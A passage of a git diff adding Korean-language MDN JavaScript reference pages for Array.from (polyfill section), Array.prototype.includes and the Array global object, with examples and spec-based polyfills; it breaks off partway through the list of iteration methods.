+<p><code><font face="consolas, Liberation Mono, courier, monospace">Array.from</font></code>은 ECMA-262 표준 제6판에 추가됐습니다.따라서 어떤 표준 구현체에서는 사용할 수없을 수도 있습니다. 다른 모든 코드 이전에 아래 코드를 포함하면 지원하지 않는 플랫폼에서도<code>Array.from</code>을사용할 수 있습니다. 아래 알고리즘은<a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/Object" title="객체(object) 생성자(constructor)는 객체 레퍼(wrapper)를 생성합니다."><code>Object</code></a>와<a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/TypeError" title="TypeError 객체는 변수의 값이 원하는 타입이 아닐 때 발생하는 에러를 표현합니다."><code>TypeError</code></a>가 변형되지 않고,<code>callback.call</code>의 계산 값이 원래의<a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/Function/call" title="call() 메소드는 주어진 this 값 및 각각 전달된 인수와 함께 함수를 호출합니다."><code>Function.prototype.call()</code></a>과 같은 경우ECMA-262 제6판이 명시한 것과 동일합니다.<span style="letter-spacing: -0.00278rem;">또한 반복가능자(iterable)는 완벽하게 폴리필할 수없기에 본 구현은 ECMA-262 제6판의 제네릭 반복가능자를 지원하지 않습니다.</span></p>
+
+<pre class="brush: js">// Production steps of ECMA-262, Edition 6, 22.1.2.1
+if (!Array.from) {
+  Array.from = (function () {
+    var toStr = Object.prototype.toString;
+    var isCallable = function (fn) {
+      return typeof fn === 'function' || toStr.call(fn) === '[object Function]';
+    };
+    var toInteger = function (value) {
+      var number = Number(value);
+      if (isNaN(number)) { return 0; }
+      if (number === 0 || !isFinite(number)) { return number; }
+      return (number &gt; 0 ? 1 : -1) * Math.floor(Math.abs(number));
+    };
+    var maxSafeInteger = Math.pow(2, 53) - 1;
+    var toLength = function (value) {
+      var len = toInteger(value);
+      return Math.min(Math.max(len, 0), maxSafeInteger);
+    };
+
+    // The length property of the from method is 1.
+    return function from(arrayLike/*, mapFn, thisArg */) {
+      // 1. Let C be the this value.
+      var C = this;
+
+      // 2. Let items be ToObject(arrayLike).
+      var items = Object(arrayLike);
+
+      // 3. ReturnIfAbrupt(items).
+      if (arrayLike == null) {
+        throw new TypeError('Array.from requires an array-like object - not null or undefined');
+      }
+
+      // 4. If mapfn is undefined, then let mapping be false.
+      var mapFn = arguments.length &gt; 1 ? arguments[1] : void undefined;
+      var T;
+      if (typeof mapFn !== 'undefined') {
+        // 5. else
+        // 5. a If IsCallable(mapfn) is false, throw a TypeError exception.
+        if (!isCallable(mapFn)) {
+          throw new TypeError('Array.from: when provided, the second argument must be a function');
+        }
+
+        // 5. b. If thisArg was supplied, let T be thisArg; else let T be undefined.
+        if (arguments.length &gt; 2) {
+          T = arguments[2];
+        }
+      }
+
+      // 10. Let lenValue be Get(items, "length").
+      // 11. Let len be ToLength(lenValue).
+      var len = toLength(items.length);
+
+      // 13. If IsConstructor(C) is true, then
+      // 13. a. Let A be the result of calling the [[Construct]] internal method
+      // of C with an argument list containing the single item len.
+      // 14. a. Else, Let A be ArrayCreate(len).
+      var A = isCallable(C) ? Object(new C(len)) : new Array(len);
+
+      // 16. Let k be 0.
+      var k = 0;
+      // 17. Repeat, while k &lt; len… (also steps a - h)
+      var kValue;
+      while (k &lt; len) {
+        kValue = items[k];
+        if (mapFn) {
+          A[k] = typeof T === 'undefined' ? mapFn(kValue, k) : mapFn.call(T, kValue, k);
+        } else {
+          A[k] = kValue;
+        }
+        k += 1;
+      }
+      // 18. Let putStatus be Put(A, "length", len, true).
+      A.length = len;
+      // 20. Return A.
+      return A;
+    };
+  }());
+}</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.from', 'Array.from')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>초기 정의.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.from', 'Array.from')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Array.from")}}</p>
+
+<h2 id="See_also" name="See_also">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Array")}}</li>
+ <li>{{jsxref("Array.prototype.map()")}}</li>
+ <li>{{jsxref("TypedArray.from()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/includes/index.html b/files/ko/web/javascript/reference/global_objects/array/includes/index.html
new file mode 100644
index 0000000000..a646fd3bb4
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/includes/index.html
@@ -0,0 +1,173 @@
+---
+title: Array.prototype.includes()
+slug: Web/JavaScript/Reference/Global_Objects/Array/includes
+tags:
+  - Array
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/includes
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>includes()</code></strong> 메서드는 배열이 특정 요소를 포함하고 있는지 판별합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-includes.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>arr</var>.includes(<em>valueToFind</em>[, <em>fromIndex</em>])
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">valueToFind</span></font></dt>
+ <dd>탐색할 요소.
+ <div class="blockIndicator note">
+ <p><strong>참고</strong>: 문자나 문자열을 비교할 때, <code>includes()</code>는 <strong>대소문자를 구분</strong>합니다.</p>
+ </div>
+ </dd>
+ <dt><code>fromIndex</code> {{optional_inline}}</dt>
+ <dd>이 배열에서 searchElement 검색을 시작할 위치입니다. 음의 값은 array.length + fromIndex의 인덱스를 asc로 검색합니다. 기본값은 0입니다.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>{{jsxref("Boolean")}}.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">[1, 2, 3].includes(2);     // true
+[1, 2, 3].includes(4);     // false
+[1, 2, 3].includes(3, 3);  // false
+[1, 2, 3].includes(3, -1); // true
+[1, 2, NaN].includes(NaN); // true
+</pre>
+
+<h3 id="fromIndex_가_배열의_길이보다_같거나_큰_경우"><code>fromIndex</code> 가 배열의 길이보다 같거나 큰 경우</h3>
+
+<p><code>fromIndex</code> 가 배열의 길이보다 같거나 크다면, <code>false</code> 를 반환합니다. 배열은 검색되지 않을 것입니다.</p>
+
+<pre class="brush: js">var arr = ['a', 'b', 'c'];
+
+arr.includes('c', 3);   // false
+arr.includes('c', 100); // false</pre>
+
+<h3 id="0보다_작은_인덱스의_계산">0보다 작은 인덱스의 계산</h3>
+
+<p><code>fromIndex</code> 가 음수라면, 이 계산된 인덱스는 <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">valueToFind</span></font> 를 찾기 시작할 배열의 위치로 사용되기 위해 연산됩니다. 만약 계산된 인덱스가 <code>-1 * array.length</code> 보다 작거나 같다면, 전체 배열이 검색될 것입니다.</p>
+
+<pre class="brush: js">// array length is 3
+// fromIndex is -100
+// computed index is 3 + (-100) = -97
+
+var arr = ['a', 'b', 'c'];
+
+arr.includes('a', -100); // true
+arr.includes('b', -100); // true
+arr.includes('c', -100); // true
+arr.includes('a', -2); // false</pre>
+
+<h3 id="제네릭_메소드로_사용되는_includes">제네릭 메소드로 사용되는 <code>includes()</code></h3>
+
+<p><code>includes()</code> 메서드는 의도적으로 제네릭입니다. 배열 객체가 되기 위한 <code>this</code> 값을 요구하지 않아, 다른 종류의 객체에 적용될 수 있습니다 (e.g. 유사 배열 객체). 아래 예시는  이 함수의 <a href="/en-US/docs/Web/JavaScript/Reference/Functions/arguments">arguments</a> 객체로 호출되는 <code>includes()</code> 메소드를 보여줍니다.</p>
+
+<pre class="brush: js">(function() {
+  console.log([].includes.call(arguments, 'a')); // true
+  console.log([].includes.call(arguments, 'd')); // false
+})('a','b','c');</pre>
+
+<h2 id="폴리필">폴리필</h2>
+
+<pre class="brush: js"><code>// https://tc39.github.io/ecma262/#sec-array.prototype.includes
+if (!Array.prototype.includes) {
+  Object.defineProperty(Array.prototype, 'includes', {
+    value: function(searchElement, fromIndex) {
+
+      if (this == null) {
+        throw new TypeError('"this" is null or not defined');
+      }
+
+      // 1. Let O be ? ToObject(this value).
+      var o = Object(this);
+
+      // 2. Let len be ? ToLength(? Get(O, "length")).
+      var len = o.length &gt;&gt;&gt; 0;
+
+      // 3. If len is 0, return false.
+      if (len === 0) {
+        return false;
+      }
+
+      // 4. Let n be ? ToInteger(fromIndex).
+      //    (If fromIndex is undefined, this step produces the value 0.)
+      var n = fromIndex | 0;
+
+      // 5. If n ≥ 0, then
+      //  a. Let k be n.
+      // 6. Else n &lt; 0,
+      //  a. Let k be len + n.
+      //  b. If k &lt; 0, let k be 0.
+      var k = Math.max(n &gt;= 0 ? n : len - Math.abs(n), 0);
+
+      function sameValueZero(x, y) {
+        return x === y || (typeof x === 'number' &amp;&amp; typeof y === 'number' &amp;&amp; isNaN(x) &amp;&amp; isNaN(y));
+      }
+
+      // 7. Repeat, while k &lt; len
+      while (k &lt; len) {
+        // a. Let elementK be the result of ? Get(O, ! ToString(k)).
+        // b. If SameValueZero(searchElement, elementK) is true, return true.
+        if (sameValueZero(o[k], searchElement)) {
+          return true;
+        }
+        // c. Increase k by 1.
+        k++;
+      }
+
+      // 8. Return false
+      return false;
+    }
+  });
+}</code></pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES7', '#sec-array.prototype.includes', 'Array.prototype.includes')}}</td>
+   <td>{{Spec2('ES7')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.includes', 'Array.prototype.includes')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{Compat("javascript.builtins.Array.includes")}}</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("TypedArray.prototype.includes()")}}</li>
+ <li>{{jsxref("String.prototype.includes()")}}</li>
+ <li>{{jsxref("Array.prototype.indexOf()")}}</li>
+ <li>{{jsxref("Array.prototype.find()")}}</li>
+ <li>{{jsxref("Array.prototype.findIndex()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/index.html b/files/ko/web/javascript/reference/global_objects/array/index.html
new file mode 100644
index 0000000000..4bb18af837
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/index.html
@@ -0,0 +1,493 @@
+---
+title: Array
+slug: Web/JavaScript/Reference/Global_Objects/Array
+tags:
+  - Array
+  - Example
+  - Global Objects
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Array
+---
+<div>{{JSRef}}</div>
+
+<p>JavaScript <strong><code>Array</code></strong> 전역 객체는 배열을 생성할 때 사용하는 리스트 형태의 고수준 객체입니다.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>배열은 프로토타입으로 탐색과 변형 작업을 수행하는 메서드를 갖는, 리스트와 비슷한 객체입니다. JavaScript에서 배열의 길이와 요소의 자료형은 고정되어 있지 않습니다. 배열의 길이가 언제든지 늘어나거나 줄어들 수 있기 때문에 JavaScript 배열들은 밀집도가 보장되지 않습니다. 보통 이 성질은 편리하지만, 목적에 맞지 않는다면 형식화 배열(typed array)을 사용하는 것을 고려해보세요.</p>
+
+<p>배열은 요소 인덱스로 문자열(<a href="https://ko.wikipedia.org/wiki/%EC%97%B0%EA%B4%80_%EB%B0%B0%EC%97%B4">연관 배열</a>)을 사용할 수 없으며 무조건 정수만 허용합니다. <a href="/ko/docs/Web/JavaScript/Reference/Operators/Property_Accessors">속성 접근자</a>를 사용해 정수 외 키에 접근할 경우 배열 리스트의 요소가 아니라 배열 객체의 속성 변수를 설정하거나 회수합니다. 배열 객체의 속성과 배열 요소의 리스트의 요소는 서로 다른 별개의 항목으로, <a href="/ko/docs/Web/JavaScript/Guide/Indexed_collections#배열_객체의_메서드">순회 및 변형 작업</a>은 객체 속성에 적용되지 않습니다.</p>
+
+<h3 id="자주_사용하는_연산">자주 사용하는 연산</h3>
+
+<h4 id="배열_만들기">배열 만들기</h4>
+
+<pre class="brush: js">let fruits = ['사과', '바나나']
+
+console.log(fruits.length)
+// 2
+</pre>
+
+<h4 id="인덱스로_배열의_항목에_접근하기">인덱스로 배열의 항목에 접근하기</h4>
+
+<pre class="brush: js">let first = fruits[0]
+// 사과
+
+let last = fruits[fruits.length - 1]
+// 바나나
+</pre>
+
+<h4 id="배열의_항목들을_순환하며_처리하기">배열의 항목들을 순환하며 처리하기</h4>
+
+<pre class="brush: js">fruits.forEach(function (item, index, array) {
+  console.log(item, index)
+})
+// 사과 0
+// 바나나 1
+</pre>
+
+<h4 id="배열_끝에_항목_추가하기">배열 끝에 항목 추가하기</h4>
+
+<pre class="brush: js">let newLength = fruits.push('오렌지')
+// ["사과", "바나나", "오렌지"]
+</pre>
+
+<h4 id="배열_끝에서부터_항목_제거하기">배열 끝에서부터 항목 제거하기</h4>
+
+<pre class="brush: js">let last = fruits.pop() // 끝에있던 '오렌지'를 제거
+// ["사과", "바나나"]
+</pre>
+
+<h4 id="배열_앞에서부터_항목_제거하기">배열 앞에서부터 항목 제거하기</h4>
+
+<pre class="brush: js">let first = fruits.shift() // 제일 앞의 '사과'를 제거
+// ["바나나"]
+</pre>
+
+<h4 id="배열_앞에_항목_추가하기">배열 앞에 항목 추가하기</h4>
+
+<pre class="brush: js">let newLength = fruits.unshift('딸기') // 앞에 추가
+// ["딸기", "바나나"]
+</pre>
+
+<h4 id="배열_안_항목의_인덱스_찾기">배열 안 항목의 인덱스 찾기</h4>
+
+<pre class="brush: js">fruits.push('망고')
+// ["딸기", "바나나", "망고"]
+
+let pos = fruits.indexOf("바나나")
+// 1
+</pre>
+
+<h4 id="인덱스_위치에_있는_항목_제거하기">인덱스 위치에 있는 항목 제거하기</h4>
+
+<pre class="brush: js">let removedItem = fruits.splice(pos, 1) // 항목을 제거하는 방법
+
+// ["딸기", "망고"]
+</pre>
+
+<h4 id="인덱스_위치에서부터_여러개의_항목_제거하기">인덱스 위치에서부터 여러개의 항목 제거하기</h4>
+
+<pre class="brush: js">let vegetables = ['양배추', '순무', '무', '당근']
+console.log(vegetables)
+// ["양배추", "순무", "무", "당근"]
+
+let pos = 1
+let n = 2
+
+let removedItems = vegetables.splice(pos, n)
+// 배열에서 항목을 제거하는 방법
+// pos 인덱스부터 n개의 항목을 제거함
+
+console.log(vegetables)
+// ["양배추", "당근"] (원 배열 vegetables의 값이 변함)
+
+console.log(removedItems)
+// ["순무", "무"]
+</pre>
+
+<h4 id="배열_복사하기">배열 복사하기</h4>
+
+<pre class="brush: js">let shallowCopy = fruits.slice() // 사본을 만드는 방법
+// ["딸기", "망고"]
+</pre>
+
+<h3 id="배열_요소에_접근하기">배열 요소에 접근하기</h3>
+
+<p>JavaScript 배열의 인덱스는 0부터 시작합니다. 즉, 배열 첫 번째 요소의 인덱스는 0이고, 마지막 요소의 인덱스는 배열의 {{jsxref("Array.length", "length")}} 속성에서 1을 뺀 것과 같습니다.</p>
+
+<p>잘못된 인덱스를 사용하면 <code>undefined</code>를 반환합니다.</p>
+
+<pre class="brush: js">let arr = ['첫 번재 요소입니다', '두 번째 요소입니다', '마지막 요소입니다']
+console.log(arr[0])              // '첫 번재 요소입니다'를 기록
+console.log(arr[1])              // '두 번재 요소입니다'를 기록
+console.log(arr[arr.length - 1]) // '마지막 요소입니다'를 기록
+</pre>
+
+<p><code>toString</code>이 속성인 것과 마찬가지로(정확히 하자면, <code>toString()</code>은 메서드입니다) 배열의 요소도 속성입니다. 하지만 아래의 예시처럼 배열 요소에 접근하려 하면, 속성 이름이 유효하지 않기 때문에 구문 오류가 발생합니다.</p>
+
+<pre class="brush: js">console.log(arr.0) // 구문 오류
+</pre>
+
+<p>이 점에는 JavaScript 배열과 속성에 특별한 점이 없습니다. 숫자로 시작하는 JavaScript 속성은 마침표 구문으로 접근할 수 없으며, 반드시 괄호 표기법으로 접근해야 합니다.</p>
+
+<p>예를 들어 <code>'3d'</code>라는 이름의 속성을 가진 객체에서 해당 속성에 접근할 땐 괄호 표기법을 사용해야만 합니다.</p>
+
+<pre class="brush: js">let years = [1950, 1960, 1970, 1980, 1990, 2000, 2010]
+console.log(years.0)   // 구문 오류
+console.log(years[0])  // 정상 작동
+</pre>
+
+<pre class="brush: js">renderer.3d.setTexture(model, 'character.png')     // 구문 오류
+renderer['3d'].setTexture(model, 'character.png')  // 정상 작동
+</pre>
+
+<p><code>3d</code> 예시에서 <code>'3d'</code>를 따옴표로 감싸야 함에 유의하세요. JavaScript 배열 인덱스도 따옴표로 둘러쌀 수는 있지만(<code>years[2]</code> 대신에 <code>years['2']</code>처럼), 굳이 필요하지는 않습니다.</p>
+
+<p><code>years[2]</code>의 2는 JavaScript 엔진이 암시적인 <code>toString</code> 변환을 사용해 문자열로 변환합니다. 그 결과로서 <code>'2'</code>와 <code>'02'</code>는 <code>years</code> 객체에서 서로 다른 칸을 가리키며, 다음 코드는 <code>true</code>가 될 수 있습니다.</p>
+
+<pre class="brush: js">console.log(years['2'] != years['02']);
+</pre>
+
+<h3 id="length_와_숫자형_속성의_관계"><code>length</code> 와 숫자형 속성의 관계</h3>
+
+<p>JavaScript 배열의 {{jsxref("Array.length", "length")}} 속성과 숫자형 속성은 연결되어 있습니다.</p>
+
+<p>몇몇 배열 내장 메서드({{jsxref("Array.join", "join")}}, {{jsxref("Array.slice", "slice")}}, {{jsxref("Array.indexOf", "indexOf")}} 등)은 호출했을 때 배열의 {{jsxref("Array.length", "length")}} 속성의 값을 참조합니다.</p>
+
+<p>다른 메서드({{jsxref("Array.push", "push")}}, {{jsxref("Array.splice", "splice")}} 등) 또한 배열의 {{jsxref("Array.length", "length")}} 속성의 업데이트를 유발합니다.</p>
+
+<pre class="brush: js">const fruits = []
+fruits.push('banana', 'apple', 'peach')
+
+console.log(fruits.length) // 3
+</pre>
+
+<p>JavaScript 배열의 속성을 설정할 때 그 속성이 유효한 배열 인덱스이고 그 인덱스가 현재 배열의 경계를 넘어간다면, JavaScript 엔진은 배열의 {{jsxref("Array.length", "length")}} 속성을 그에 맞춰 업데이트 합니다.</p>
+
+<pre class="brush: js">fruits[5] = 'mango'
+console.log(fruits[5])           // 'mango'
+console.log(Object.keys(fruits)) // ['0', '1', '2', '5']
+console.log(fruits.length)       // 6
+</pre>
+
+<p>{{jsxref("Array.length", "length")}}를 직접 늘릴 수 있습니다.</p>
+
+<pre class="brush: js">fruits.length = 10;
+console.log(Object.keys(fruits)); // ['0', '1', '2', '5']
+console.log(fruits.length); // 10
+</pre>
+
+<p>하지만, {{jsxref("Array.length", "length")}} 속성을 감소시키면 요소를 지웁니다.</p>
+
+<pre class="brush: js">fruits.length = 2
+console.log(Object.keys(fruits)) // ['0', '1']
+console.log(fruits.length)       // 2
+</pre>
+
+<p>{{jsxref("Array.length")}} 문서에 더 자세한 설명이 있습니다.</p>
+
+<h3 id="매치_결과를_이용한_배열_생성">매치 결과를 이용한 배열 생성</h3>
+
+<p>정규표현식과 문자열 사이의 매치 결과로 JavaScript 배열을 만들 수 있습니다. 이 배열은 매치에 대한 정보를 제공하는 속성들과 요소들을 가집니다. 이러한 배열은 {{jsxref("RegExp.exec")}}, {{jsxref("String.match")}}, {{jsxref("String.replace")}}로부터 반환됩니다. 이 속성들과 요소들에 대한 설명을 돕기위해, 다음 예제를 보고 아래 테이블을 참조해주세요.</p>
+
+<pre class="brush: js">// 하나의 d와 하나 이상의 b에 하나의 d가 뒤따라 일치해야 합니다.
+// 일치한 b와 다음 d를 기억하십시오.
+// 대소문자 구분은 무시됩니다.
+
+var myRe = /d(b+)(d)/i;
+var myArray = myRe.exec('cdbBdbsbz');
+</pre>
+
+<p>매치로부터 반환되는 속성들과 요소들은 다음과 같습니다:</p>
+
+<table class="fullwidth-table standard-table">
+ <tbody>
+  <tr>
+   <td class="header">속성/요소</td>
+   <td class="header">설명</td>
+   <td class="header">예시</td>
+  </tr>
+  <tr>
+   <td><code>input </code> {{ReadOnlyInline}}</td>
+   <td>정규 표현식과 일치시키는 원본 문자열을 나타내는 읽기 전용 속성입니다.</td>
+   <td><code>"cdbBdbsbz"</code></td>
+  </tr>
+  <tr>
+   <td><code>index </code> {{ReadOnlyInline}}</td>
+   <td>원본 문자열에서 정규 표현식이 처음 일치하는 문자열의 위치(원본 문자열의 첫 문자 위치를 0으로 하는)를 나타내는 읽기 전용 속성입니다.</td>
+   <td><code>1</code></td>
+  </tr>
+  <tr>
+   <td><code>[0]</code> {{ReadOnlyInline}}</td>
+   <td>원본 문자열에서 정규 표현식이 처음 일치하는 문자열을 지정하는 읽기 전용 요소입니다.</td>
+   <td><code>"dbBd"</code></td>
+  </tr>
+  <tr>
+   <td><code>[1], ...[n] </code> {{ReadOnlyInline}}</td>
+   <td>만약 정규 표현식에 괄호가 포함돼 있다면 괄호에 일치하는 부분 문자열을 나타내는 읽기 전용 요소들입니다. 가능한 괄호 안의 부분 문자열의 수는 무제한입니다.</td>
+   <td><code>[1]: bB</code><br>
+    <code>[2]: d</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="생성자">생성자</h2>
+
+<dl>
+ <dt>{{jsxref("Array.Array", "Array()")}}</dt>
+ <dd><code>Array</code> 객체를 생성합니다.</dd>
+</dl>
+
+<h2 id="정적_속성">정적 속성</h2>
+
+<dl>
+ <dt><code>Array.length</code></dt>
+ <dd>값이 1인 <code>Array</code> 생성자의 길이 속성입니다.</dd>
+ <dt>{{jsxref("Array.@@species", "get Array[@@species]")}}</dt>
+ <dd>파생 객체를 생성하는데 사용하는 생성자 함수입니다.</dd>
+</dl>
+
+<h2 id="정적_메서드">정적 메서드</h2>
+
+<dl>
+ <dt>{{jsxref("Array.from()")}}</dt>
+ <dd>유사 배열 또는 반복 가능한 객체로부터 새로운 <code>Array</code> 인스턴스를 생성합니다.</dd>
+ <dt>{{jsxref("Array.isArray()")}}</dt>
+ <dd>만약 변수가 배열이면 참을, 아니면 거짓을 반환합니다.</dd>
+ <dt>{{jsxref("Array.of()")}}</dt>
+ <dd>전달인자의 개수나 데이터 타입에 관계없이 새 <code>Array</code> 인스턴스를 생성합니다.</dd>
+</dl>
+
+<h2 id="Array_인스턴스"><code>Array</code> 인스턴스</h2>
+
+<p>모든 <code>Array</code> 인스턴스는 <code>Array.prototype</code>을 상속합니다. 다른 생성자와 마찬가지로, <code>Array()</code> 생성자의 프로토타입을 수정하면 모든 <code>Array</code> 인스턴스도 수정의 영향을 받습니다. 예를 들면, 새로운 메서드와 속성을 추가해 모든 <code>Array</code>를 확장할 수 있으므로, {{glossary("polyfill", "폴리필")}}에 쓰입니다.</p>
+
+<p>그러나 배열 객체에 비표준 메서드를 추가하면 나중에 스스로, 혹은 <a href="https://developers.google.com/web/updates/2018/03/smooshgate">JavaScript에 기능이 추가</a>될 경우 문제가 될 수 있습니다.</p>
+
+<p>잘 모를 법한 사실: <code>Array.prototype</code>은 그 스스로 <code>Array</code>입니다.</p>
+
+<pre class="brush: js">Array.isArray(Array.prototype) // true</pre>
+
+<h2 id="인스턴스_속성">인스턴스 속성</h2>
+
+<div>
+<dl>
+ <dt><code>Array.prototype.constructor</code></dt>
+ <dd>객체의 프로토타입을 생성하는 함수를 지정합니다.</dd>
+ <dt>{{jsxref("Array.prototype.length")}}</dt>
+ <dd>배열의 원소 수를 나타냅니다.</dd>
+ <dt>{{jsxref("Array.@@unscopables", "Array.prototype[@@unscopables]")}}</dt>
+ <dd>{{jsxref("Statements/with", "with")}} 결속 범위로부터 제외하려는 속성 이름이 들어있는 기호입니다.</dd>
+</dl>
+</div>
+
+<h2 id="인스턴스_메서드">인스턴스 메서드</h2>
+
+<h4 id="변경자_메서드">변경자 메서드</h4>
+
+<div>
+<p>변경자 메서드는 배열을 수정합니다.</p>
+
+<dl>
+ <dt>{{jsxref("Array.prototype.copyWithin()")}}</dt>
+ <dd>배열 내의 지정된 요소들을 동일한 배열 내에서 복사합니다.</dd>
+ <dt>{{jsxref("Array.prototype.fill()")}}</dt>
+ <dd>배열 안의 시작 인덱스부터 끝 인덱스까지의 요소값을 지정된 정적 값으로 채웁니다.</dd>
+ <dt>{{jsxref("Array.prototype.pop()")}}</dt>
+ <dd>배열에서 마지막 요소를 뽑아내고, 그 요소를 반환합니다.</dd>
+ <dt>{{jsxref("Array.prototype.push()")}}</dt>
+ <dd>배열의 끝에 하나 이상의 요소를 추가하고, 변경된 배열의 길이를 반환합니다.</dd>
+ <dt>{{jsxref("Array.prototype.reverse()")}}</dt>
+ <dd>배열의 요소 순서를 반전시킵니다. 첫 번째가 마지막이 되고 마지막이 첫 번째가 됩니다.</dd>
+ <dt>{{jsxref("Array.prototype.shift()")}}</dt>
+ <dd>배열에서 첫 번째 요소를 삭제하고 그 요소를 반환합니다.</dd>
+ <dt>{{jsxref("Array.prototype.sort()")}}</dt>
+ <dd>배열의 요소를 정렬하고 그 배열을 반환합니다.</dd>
+ <dt>{{jsxref("Array.prototype.splice()")}}</dt>
+ <dd>배열에서 요소를 추가/삭제합니다.</dd>
+ <dt>{{jsxref("Array.prototype.unshift()")}}</dt>
+ <dd>배열의 앞에 하나 이상의 요소를 추가하고 새로운 길이를 반환합니다.</dd>
+</dl>
+</div>
+
+<h4 id="접근자_메서드">접근자 메서드</h4>
+
+<div>
+<p>접근자 메서드는 배열을 수정하지 않고, 기존 배열의 일부에 기반한 새로운 배열 또는 값을 반환합니다.</p>
+
+<dl>
+ <dt>{{jsxref("Array.prototype.concat()")}}</dt>
+ <dd>배열을 매개변수로 주어진 배열/값과 이어붙인 새로운 배열을 반환합니다.</dd>
+ <dt>{{jsxref("Array.prototype.filter()")}}</dt>
+ <dd>지정한 콜백의 반환 결과가 <code>true</code>인 요소만 모은 새로운 배열을 반환합니다.</dd>
+ <dt>{{jsxref("Array.prototype.includes()")}}</dt>
+ <dd>배열이 주어진 값을 포함하는지 판별해 <code>true</code> 또는 <code>false</code>를 반환합니다.</dd>
+ <dt>{{jsxref("Array.prototype.indexOf()")}}</dt>
+ <dd>배열에서 주어진 값과 일치하는 제일 앞의 인덱스를 반환합니다. 없으면 <code>-1</code>을 반환합니다.</dd>
+ <dt>{{jsxref("Array.prototype.join()")}}</dt>
+ <dd>배열의 모든 요소를 문자열로 합칩니다.</dd>
+ <dt>{{jsxref("Array.prototype.lastIndexOf()")}}</dt>
+ <dd>배열에서 주어진 값과 일치하는 제일 뒤의 인덱스를 반환합니다. 없으면 <code>-1</code>을 반환합니다.</dd>
+ <dt>{{jsxref("Array.prototype.slice()")}}</dt>
+ <dd>배열의 일부를 추출한 새 배열을 반환합니다.</dd>
+ <dt>{{jsxref("Array.prototype.toSource()")}} {{non-standard_inline}}</dt>
+ <dd>지정한 배열을 나타내는 배열 리터럴을 반환합니다. 새로운 배열을 만들기 위해 이 값을 사용할 수 있습니다. {{jsxref("Object.prototype.toSource()")}} 메서드를 재정의합니다.</dd>
+ <dt>{{jsxref("Array.prototype.toString()")}}</dt>
+ <dd>배열과 그 요소를 나타내는 문자열을 반환합니다. {{jsxref("Object.prototype.toString()")}} 메서드를 재정의합니다.</dd>
+ <dt>{{jsxref("Array.prototype.toLocaleString()")}}</dt>
+ <dd>배열과 그 요소를 나타내는 지역화된 문자열을 반환합니다. {{jsxref("Object.prototype.toLocaleString()")}} 메서드를 재정의합니다.</dd>
+</dl>
+</div>
+
+<h4 id="순회_메서드">순회 메서드</h4>
+
+<p>배열을 처리하면서 호출할 콜백 함수를 받는 메서드 여럿이 존재합니다. 이런 메서드를 호출하면 배열의 <code>length</code>를 기억하므로, 아직 순회를 끝내지 않았을 때 요소를 더 추가하면 콜백이 방문하지 않습니다.</p>
+
+<p>요소의 값을 바꾸거나, 요소를 제거하는 등 다른 변경점은 콜백 방문 시점에 따라 최종 값에 영향을 줄 수 있습니다. 비록 이런 동작 방식은 잘 정의되어 있으나, 여러분의 코드를 다른 사람이 읽을 때 헷갈리지 않도록 여기에 의존하면 안됩니다.</p>
+
+<p>반드시 배열을 변형해야 한다면, 새로운 배열로 복사하세요.</p>
+
+<div>
+<dl>
+ <dt>{{jsxref("Array.prototype.entries()")}}</dt>
+ <dd>배열의 각 인덱스에 대한 키/값 쌍을 포함하는 새로운 배열 반복자 객체를 반환합니다.</dd>
+ <dt>{{jsxref("Array.prototype.every()")}}</dt>
+ <dd>배열의 모든 요소가 주어진 판별 콜백을 만족할 경우 <code>true</code>를 반환합니다.</dd>
+ <dt>{{jsxref("Array.prototype.find()")}}</dt>
+ <dd>주어진 판별 콜백을 만족하는 첫 번째 요소를 반환합니다. 만족하는 요소가 없으면 <code>undefined</code>를 반환합니다.</dd>
+ <dt>{{jsxref("Array.prototype.findIndex()")}}</dt>
+ <dd>주어진 판별 콜백을 만족하는 첫 번째 요소의 인덱스를 반환합니다. 만족하는 요소가 없으면 <code>undefined</code>를 반환합니다.</dd>
